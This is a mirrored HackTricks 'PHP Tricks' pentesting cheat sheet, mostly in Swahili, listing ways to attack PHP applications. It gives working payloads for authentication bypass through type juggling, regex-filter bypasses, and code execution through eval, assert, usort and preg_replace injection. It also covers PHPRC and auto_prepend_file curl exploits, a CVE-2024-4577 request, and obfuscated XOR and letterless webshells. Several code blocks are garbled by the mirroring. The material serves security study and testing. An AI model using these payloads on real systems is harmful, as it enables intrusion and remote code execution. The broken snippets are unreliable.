mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
455 lines
22 KiB
Markdown
455 lines
22 KiB
Markdown
# PHP Tricks
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Mahali pa kawaida ya Cookies:
|
|
|
|
Hii pia inatumika kwa cookies za phpMyAdmin.
|
|
|
|
Cookies:
|
|
```
|
|
PHPSESSID
|
|
phpMyAdmin
|
|
```
|
|
Mikoa:
|
|
```
|
|
/var/lib/php/sessions
|
|
/var/lib/php5/
|
|
/tmp/
|
|
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|
```
|
|
## Kupita Mifano ya PHP
|
|
|
|
### Mifano ya Kulegeza/Kucheza na Aina ( == )
|
|
|
|
Ikiwa `==` inatumika katika PHP, basi kuna hali zisizotarajiwa ambapo kulinganisha hakufanyi kazi kama inavyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina sawa, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
|
|
|
|
Mizani ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
|
|
|
.png>)
|
|
|
|
{{#file}}
|
|
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
|
{{#endfile}}
|
|
|
|
- `"string" == 0 -> True` String ambayo haianzi na nambari ni sawa na nambari
|
|
- `"0xAAAA" == "43690" -> True` Mifano iliyoandikwa kwa nambari katika muundo wa dec au hex inaweza kulinganishwa na nambari/nyuzi nyingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika string zinatafsiriwa kama nambari)
|
|
- `"0e3264578" == 0 --> True` String inayaanza na "0e" na kufuatwa na chochote itakuwa sawa na 0
|
|
- `"0X3264578" == 0X --> True` String inayaanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote itakuwa sawa na 0
|
|
- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la string la "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayaanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mifano iliyohesabiwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
|
- `"X" == 0 --> True` Herufi yoyote katika string ni sawa na int 0
|
|
|
|
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
|
|
|
### **in_array()**
|
|
|
|
**Kucheza na Aina** pia inaathiri kazi ya `in_array()` kwa kawaida (unahitaji kuweka argument ya tatu kuwa kweli ili kufanya kulinganisha kwa ukali):
|
|
```php
|
|
$values = array("apple","orange","pear","grape");
|
|
var_dump(in_array(0, $values));
|
|
//True
|
|
var_dump(in_array(0, $values, true));
|
|
//False
|
|
```
|
|
### strcmp()/strcasecmp()
|
|
|
|
Ikiwa kazi hii inatumika kwa **ukaguzi wowote wa uthibitishaji** (kama vile kuangalia nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma array tupu badala ya string kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kupita ukaguzi huu:
|
|
```php
|
|
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
```
|
|
Kosa sawa inatokea na `strcasecmp()`
|
|
|
|
### Ujanja wa Aina Mkali
|
|
|
|
Hata kama `===` inatumika kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **ujanja wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**:
|
|
```php
|
|
(int) "1abc" === (int) "1xyz" //This will be true
|
|
```
|
|
### preg_match(/^.\*/)
|
|
|
|
**`preg_match()`** inaweza kutumika **kuhakiki ingizo la mtumiaji** (ina **angalia** kama neno/regex lolote kutoka kwenye **blacklist** lina **patikana** kwenye **ingizo la mtumiaji** na kama halipo, msimbo unaweza kuendelea na utekelezaji wake).
|
|
|
|
#### New line bypass
|
|
|
|
Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp `preg_match()` **inaangalia tu mstari wa kwanza wa ingizo la mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** ingizo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
|
|
```php
|
|
$myinput="aaaaaaa
|
|
11111111"; //Notice the new line
|
|
echo preg_match("/1/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/1.*$/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/^.*1/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
echo preg_match("/^.*1.*$/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
```
|
|
Ili kupita ukaguzi huu unaweza **kutuma thamani yenye mistari mipya iliyowekwa urlencoded** (`%0A`) au ikiwa unaweza kutuma **data ya JSON**, itume katika **mistari kadhaa**:
|
|
```php
|
|
{
|
|
"cmd": "cat /etc/passwd"
|
|
}
|
|
```
|
|
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
|
|
|
#### **Length error bypass**
|
|
|
|
(Hii bypass ilijaribiwa waziwazi kwenye PHP 5.2.5 na sikuweza kuifanya ifanye kazi kwenye PHP 7.3.15)\
|
|
Ikiwa unaweza kutuma kwa `preg_match()` ingizo halali kubwa sana, **haitaweza kulipitia** na utaweza **kuepuka** ukaguzi. Kwa mfano, ikiwa inakataza JSON unaweza kutuma:
|
|
```bash
|
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|
```
|
|
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
|
|
|
#### ReDoS Bypass
|
|
|
|
Trick kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) na [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
|
|
|
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP zinategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo kwenye idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kinarudi kwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa kwenye stack.
|
|
|
|
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\
|
|
**Tuma input ambayo itafanya regex ifanye 100_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irudishe `false` hivyo kufanya programu ifikirie kwamba input yetu si mbaya, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
|
|
|
|
Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\
|
|
Ili kufikia hiyo, `'X'*500_001` itasababisha hatua milioni moja za backtracking (500k mbele na 500k nyuma):
|
|
```python
|
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
|
```
|
|
### Aina ya Juggling kwa obfuscation ya PHP
|
|
```php
|
|
$obfs = "1"; //string "1"
|
|
$obfs++; //int 2
|
|
$obfs += 0.2; //float 2.2
|
|
$obfs = 1 + "7 IGNORE"; //int 8
|
|
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
|
|
$obfs = 3+2 * (TRUE + TRUE); //int 7
|
|
$obfs .= ""; //string "7"
|
|
$obfs += ""; //int 7
|
|
```
|
|
## Execute After Redirect (EAR)
|
|
|
|
Ikiwa PHP inarejelea kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayofanywa **baada ya kichwa `Location`** kuwekwa, PHP inaendelea kutekeleza na kuongezea data kwenye mwili:
|
|
```php
|
|
<?php
|
|
// In this page the page will be read and the content appended to the body of
|
|
// the redirect response
|
|
$page = $_GET['page'];
|
|
header('Location: /index.php?page=default.html');
|
|
readfile($page);
|
|
?>
|
|
```
|
|
## Path Traversal and File Inclusion Exploitation
|
|
|
|
Check:
|
|
|
|
|
|
{{#ref}}
|
|
../../../pentesting-web/file-inclusion/
|
|
{{#endref}}
|
|
|
|
## More tricks
|
|
|
|
- **register_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register_globals** inaweza kuwa hai (au tabia zao zinaweza kuigwa). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha mabadiliko** yanayotumika ndani ya msimbo.
|
|
- **Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, hivyo ikiwa ndani ya eneo **cookies tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
|
|
Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kumpa cookie jina linalolingana nalo katika path2).
|
|
- Unapokuwa na **majina ya watumiaji** wa mashine. Angalia anwani: **/\~\<USERNAME>** ili kuona ikiwa saraka za php zimewezeshwa.
|
|
- Ikiwa usanidi wa php una **`register_argc_argv = On`** basi vigezo vya uchunguzi vilivyotenganishwa kwa nafasi vinatumika kujaza orodha ya vigezo **`array_keys($_SERVER['argv'])`** kama vile vilikuwa **vigezo kutoka kwa CLI**. Hii ni ya kuvutia kwa sababu ikiwa **usimamizi huo umezimwa**, thamani ya **orodha ya args itakuwa `Null`** wakati inaitwa kutoka kwenye wavuti kwani orodha ya ars haitajazwa. Hivyo, ikiwa ukurasa wa wavuti unajaribu kuangalia ikiwa unafanya kazi kama wavuti au kama chombo cha CLI kwa kulinganisha kama `if (empty($_SERVER['argv'])) {` mshambuliaji anaweza kutuma **vigezo katika ombi la GET kama `?--configPath=/lalala`** na itafikiri inafanya kazi kama CLI na inaweza kuchambua na kutumia vigezo hivyo. Maelezo zaidi katika [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
|
|
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
|
|
|
### password_hash/password_verify
|
|
|
|
Hizi kazi kawaida hutumiwa katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
|
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa kuliko 72bytes kwa kutumia algorithimu hii, ni kwamba tu 72B za kwanza zitatumika:
|
|
```php
|
|
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
False
|
|
|
|
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
True
|
|
```
|
|
### HTTP headers bypass abusing PHP errors
|
|
|
|
#### Causing error after setting headers
|
|
|
|
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) unaweza kuona kwamba kutuma zaidi ya 1000 GET params au 1000 POST params au faili 20, PHOP haitakuwa ikipanga vichwa katika jibu.
|
|
|
|
Inaruhusu kupita kwa mfano vichwa vya CSP vinavyopangwa katika misimbo kama:
|
|
```php
|
|
<?php
|
|
header("Content-Security-Policy: default-src 'none';");
|
|
if (isset($_GET["xss"])) echo $_GET["xss"];
|
|
```
|
|
#### Kujaza mwili kabla ya kuweka vichwa
|
|
|
|
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu** kiasi kwamba inapojaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\
|
|
Katika hali ifuatayo, **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
|
|
|
.png>)
|
|
|
|
## SSRF katika kazi za PHP
|
|
|
|
Angalia ukurasa:
|
|
|
|
{{#ref}}
|
|
php-ssrf.md
|
|
{{#endref}}
|
|
|
|
## Utekelezaji wa msimbo
|
|
|
|
**system("ls");**\
|
|
**\`ls\`;**\
|
|
**shell_exec("ls");**
|
|
|
|
[Angalia hii kwa kazi za PHP zenye manufaa zaidi](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
|
|
|
### **RCE kupitia** **preg_replace()**
|
|
```php
|
|
preg_replace(pattern,replace,base)
|
|
preg_replace("/a/e","phpinfo()","whatever")
|
|
```
|
|
Ili kutekeleza msimbo katika "replace" hoja inahitaji angalau mechi moja.\
|
|
Chaguo hili la preg_replace limekuwa **limeondolewa kuanzia PHP 5.5.0.**
|
|
|
|
### **RCE kupitia Eval()**
|
|
```
|
|
'.system('uname -a'); $dummy='
|
|
'.system('uname -a');#
|
|
'.system('uname -a');//
|
|
'.phpinfo().'
|
|
<?php phpinfo(); ?>
|
|
```
|
|
### **RCE kupitia Assert()**
|
|
|
|
Hii kazi ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuatano** ili **kurudisha kweli au uongo** (na kulingana na hii kubadilisha utekelezaji). Kawaida, kigezo cha mtumiaji kitaingizwa katikati ya mfuatano. Kwa mfano:\
|
|
`assert("strpos($_GET['page']),'..') === false")` --> Katika kesi hii ili kupata **RCE** unaweza kufanya:
|
|
```
|
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
|
```
|
|
Utahitaji **kuvunja** sintaksia ya **kanuni**, **kuongeza** payload yako, na kisha **kuirekebisha tena**. Unaweza kutumia **operesheni za mantiki** kama "**na" au "%26%26" au "|"**. Kumbuka kwamba "au", "||" haitafanya kazi kwa sababu ikiwa hali ya kwanza ni ya kweli payload yetu haitatekelezwa. Kwa njia ile ile ";" haitafanya kazi kwani payload yetu haitatekelezwa.
|
|
|
|
**Chaguo lingine** ni kuongeza kwenye mfuatano utekelezaji wa amri: `'.highlight_file('.passwd').'`
|
|
|
|
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya mabadiliko ili kubadilisha utekelezaji: `$file = "hola"`
|
|
|
|
### **RCE kupitia usort()**
|
|
|
|
Kazi hii inatumika kupanga orodha ya vitu kwa kutumia kazi maalum.\
|
|
Ili kutumia vibaya kazi hii:
|
|
```php
|
|
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
|
VALUE: );phpinfo();#
|
|
|
|
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
|
|
```
|
|
|
|
```php
|
|
<?php
|
|
function foo($x,$y){
|
|
usort(VALUE, "cmp");
|
|
}?>
|
|
VALUE: );}[PHP CODE];#
|
|
|
|
<?php
|
|
function foo($x,$y){
|
|
usort();}phpinfo;#, "cmp");
|
|
}?>
|
|
```
|
|
You can also use **//** kuandika maoni kwenye sehemu nyingine za msimbo.
|
|
|
|
Ili kugundua idadi ya mabano unahitaji kufunga:
|
|
|
|
- `?order=id;}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ';'`). Huenda tunakosa moja au zaidi ya mabano.
|
|
- `?order=id);}//`: tunapata **onyo**. Hii inaonekana kuwa sawa.
|
|
- `?order=id));}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ')' i`). Huenda tuna mabano mengi ya kufunga.
|
|
|
|
### **RCE kupitia .httaccess**
|
|
|
|
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuunda** mambo kadhaa na hata kutekeleza msimbo (kuunda kwamba faili zenye kiambishi .htaccess zinaweza **kutekelezwa**).
|
|
|
|
Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
|
|
|
|
### RCE kupitia Env Variables
|
|
|
|
Ikiwa unapata udhaifu unaokuruhusu **kubadilisha env variables katika PHP** (na nyingine moja ya kupakia faili, ingawa kwa utafiti zaidi huenda hii ikapita), unaweza kutumia tabia hii kupata **RCE**.
|
|
|
|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inaruhusu kupakia maktaba zisizo za kawaida unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
|
|
- **`PHPRC`** : Inamuru PHP **wapi kupata faili lake la usanidi**, ambalo kawaida huitwa `php.ini`. Ikiwa unaweza kupakia faili lako la usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hilo. Ongeza **`auto_prepend_file`** kuingia ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina **PHP code ya kawaida, ambayo kisha inatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
|
|
1. Pakia faili la PHP lenye shellcode yetu
|
|
2. Pakia faili la pili, lenye **`auto_prepend_file`** mwelekeo ukimwamuru PHP preprocessor kutekeleza faili tulilopakia katika hatua ya 1
|
|
3. Weka variable `PHPRC` kwa faili tulilopakia katika hatua ya 2.
|
|
- Pata maelezo zaidi juu ya jinsi ya kutekeleza mnyororo huu [**kutoka kwa ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
|
- **PHPRC** - chaguo lingine
|
|
- Ikiwa **huwezi kupakia faili**, unaweza kutumia katika FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
|
- Au ili kupata RCE, wezesha **`allow_url_include`** na uongeze faili yenye **base64 PHP code**:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
|
- Mbinu [**kutoka ripoti hii**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
|
|
|
### XAMPP CGI RCE - CVE-2024-4577
|
|
|
|
Webserver inachambua maombi ya HTTP na kuyapeleka kwa script ya PHP inayotekeleza ombi kama [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) kama `php.exe cgi.php foo=bar`, ambayo inaruhusu kuingiza parameta. Hii itaruhusu kuingiza parameta zifuatazo ili kupakia msimbo wa PHP kutoka mwili:
|
|
```jsx
|
|
-d allow_url_include=1 -d auto_prepend_file=php://input
|
|
```
|
|
Zaidi ya hayo, inawezekana kuingiza param "- " kwa kutumia herufi 0xAD kutokana na urekebishaji wa baadaye wa PHP. Angalia mfano wa exploit kutoka [**hiki chapisho**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
|
```jsx
|
|
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
|
Host: {{host}}
|
|
User-Agent: curl/8.3.0
|
|
Accept: */*
|
|
Content-Length: 23
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: keep-alive
|
|
|
|
<?php
|
|
phpinfo();
|
|
?>
|
|
|
|
```
|
|
## PHP Sanitization bypass & Brain Fuck
|
|
|
|
[**Katika chapisho hili**](https://blog.redteam-pentesting.de/2024/moodle-rce/) inawezekana kupata mawazo mazuri ya kuunda msimbo wa brain fuck PHP kwa herufi chache sana zinazoruhusiwa.\
|
|
Zaidi ya hayo, pia inashauriwa njia ya kuvutia ya kutekeleza kazi ambazo ziliwaruhusu kupita ukaguzi kadhaa:
|
|
```php
|
|
(1)->{system($_GET[chr(97)])}
|
|
```
|
|
## PHP Static analysis
|
|
|
|
Angalia kama unaweza kuingiza msimbo katika wito wa hizi kazi (kutoka [hapa](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
|
|
```php
|
|
exec, shell_exec, system, passthru, eval, popen
|
|
unserialize, include, file_put_cotents
|
|
$_COOKIE | if #This mea
|
|
```
|
|
Ikiwa unarekebisha programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa ujumla katika`/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2`
|
|
|
|
### Kuondoa ufichaji wa msimbo wa PHP
|
|
|
|
Unaweza kutumia **web**[ **www.unphp.net**](http://www.unphp.net) **kuondoa ufichaji wa msimbo wa php.**
|
|
|
|
## PHP Wrappers & Protocols
|
|
|
|
PHP Wrappers na protokali zinaweza kukuruhusu **kuzidi ulinzi wa kuandika na kusoma** katika mfumo na kuathiri. Kwa [**maelezo zaidi angalia ukurasa huu**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
|
|
|
## Xdebug RCE isiyo na uthibitisho
|
|
|
|
Ikiwa unaona kwamba **Xdebug** ime **wezeshwa** katika matokeo ya `phpconfig()` unapaswa kujaribu kupata RCE kupitia [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
|
|
|
## Variable variables
|
|
```php
|
|
$x = 'Da';
|
|
$$x = 'Drums';
|
|
|
|
echo $x; //Da
|
|
echo $$x; //Drums
|
|
echo $Da; //Drums
|
|
echo "${Da}"; //Drums
|
|
echo "$x ${$x}"; //Da Drums
|
|
echo "$x ${Da}"; //Da Drums
|
|
```
|
|
## RCE ikitumiwa na mpya $\_GET\["a"]\($\_GET\["b"])
|
|
|
|
Ikiwa katika ukurasa unaweza **kuunda kitu kipya cha darasa lolote** unaweza kuwa na uwezo wa kupata RCE, angalia ukurasa ufuatao kujifunza jinsi:
|
|
|
|
{{#ref}}
|
|
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
|
{{#endref}}
|
|
|
|
## Teua PHP bila herufi
|
|
|
|
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
|
|
|
### Kutumia octal
|
|
```php
|
|
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
|
```
|
|
### **XOR**
|
|
```php
|
|
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
|
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
|
$___=$__; #Could be not needed inside eval
|
|
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|
```
|
|
### XOR rahisi shell code
|
|
|
|
Kulingana na [**hii andiko** ](https://mgp25.com/ctf/Web-challenge/)ifuatayo inawezekana kuzalisha shellcode rahisi kwa njia hii:
|
|
```php
|
|
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
|
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|
|
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
|
```
|
|
Hivyo, ikiwa unaweza **kutekeleza PHP isiyo na mpangilio bila nambari na herufi** unaweza kutuma ombi kama ifuatavyo ukitumia mzigo huo kutekeleza PHP isiyo na mpangilio:
|
|
```
|
|
POST: /action.php?_=system&__=cat+flag.php
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
|
```
|
|
Kwa maelezo ya kina zaidi angalia [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
|
|
|
|
### XOR Shellcode (ndani ya eval)
|
|
```bash
|
|
#!/bin/bash
|
|
|
|
if [[ -z $1 ]]; then
|
|
echo "USAGE: $0 CMD"
|
|
exit
|
|
fi
|
|
|
|
CMD=$1
|
|
CODE="\$_='\
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
|
```
|
|
### Kama Perl
|
|
```php
|
|
<?php
|
|
$_=[];
|
|
$_=@"$_"; // $_='Array';
|
|
$_=$_['!'=='@']; // $_=$_[0];
|
|
$___=$_; // A
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
|
|
$___.=$__; // S
|
|
$___.=$__; // S
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++; // E
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$___.=$__;
|
|
|
|
$____='_';
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$____.=$__;
|
|
|
|
$_=$$____;
|
|
$___($_[_]); // ASSERT($_POST[_]);
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|